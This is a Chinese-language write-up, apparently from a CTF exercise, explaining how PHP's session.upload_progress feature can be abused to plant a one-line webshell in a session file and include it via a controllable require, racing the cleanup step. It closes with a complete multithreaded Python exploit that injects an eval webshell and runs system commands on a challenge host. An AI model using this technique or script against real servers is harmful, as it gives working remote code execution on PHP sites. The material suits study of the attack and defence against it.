PHP5.4中添加了session.upload_progress这个功能,用于跟踪文件上传的进度
在php.ini中,关于这个功能的配置项有(均为默认值)
session.upload_progress.enabled = On
session.upload_progress.cleanup = On
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
enabled用于开启或关闭文件上传进度追踪功能,若该项为Off,下面的讲解不用看了,利用不了。
cleanup表示当文件上传结束后,php将会立即清空对应session文件中的内容。
prefix是上传进度信息在 $_SESSION 中存储的键名前缀。
namen出现在表单中,php将会报告上传进度,值可控。
prefix+name将表示为session中的键名,例如$_SESSION['upload_progress_12345']。
freq及min_freq不重要,按下不表。
此外还有
session.use_strict_mode
这个配置项,默认值为Off,表示我们对Cookie中sessionid可控。
当session.upload_progress启用后,当我们往php服务器传文件时,文件的一些信息(上传时间等)会被序列化后存储进sess文件中
例如
upload_progress_12345|a:5:{s:10:"start_time";i:1727197769;s:14:"content_length";i:51457;s:15:"bytes_processed";i:5231;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"tgao.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1727197769;s:15:"bytes_processed";i:5231;}}}
其中12345是我们可控的部分,我们可以在这一部分构造一句话木马。
整体思路就是:我们上传一个文件,在POST请求中加入PHP_SESSION_UPLOAD_PROGRESS字段,服务器检测报文中存在这个字段就会启用session.upload_progress功能,接下来我们写在PHP_SESSION_UPLOAD_PROGRESS的字段的一句话木马便会拼接到sess文件中(该sess文件名可通过在cookie中PHPSESSID的值来控制,具体值为sess_{PHPSESSID},无后缀),随后我们通过require函数将sess文件以PHP的格式包含进页面中(在linux系统中,session文件一般的默认存储位置为/tmp或 /var/lib/php/session),此时的页面中已经被种入我们的木马,利用成功。
等等,上文不是说“cleanup表示当文件上传结束后,php将会立即清空对应session文件中的内容”么?
上传完毕sess文件接着被清空那我们该怎么进行require呢?
解决思路可以说精妙也可以说暴力:多线程疯狂上传,同时疯狂访问,总会有刚上传结束,服务器马上要删除sess文件但还没来及删的时候,此时sess文件就正好被我们包含进来。
有一点需要注意:我们的木马并不是在上传的文件里,毕竟服务器很多时候没有开启文件上传功能,我们的上传只是为了触发session.upload_progress功能,在上传报文的PHP_SESSION_UPLOAD_PROGRESS字段才藏着我们的木马。所以上传的文件是什么并不重要,可以完全用垃圾字符填充出一个文件。
总结下利用条件:
- 目标服务器存在参数可控的require、require_once或类似函数
- 目标服务器开启了session.upload_progress.enabled功能(默认开启)
- session文件存储位置已知,且拥有对该位置的访问权限
- session文件名可控
利用脚本:
#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd": "system('more flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(
'http://7fe9788e-7a9b-43d2-b67a-919e3d6ab725.node5.buuoj.cn:81/',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
#data={'PHP_SESSION_UPLOAD_PROGRESS': '12345'},
files={'file': ('tgao.txt', f)},
cookies={'PHPSESSID': sessid}
)
def read(session):
while True:
resp = session.post(
'http://7fe9788e-7a9b-43d2-b67a-919e3d6ab725.node5.buuoj.cn:81?file=/tmp/sess_' + sessid,
data=data
)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()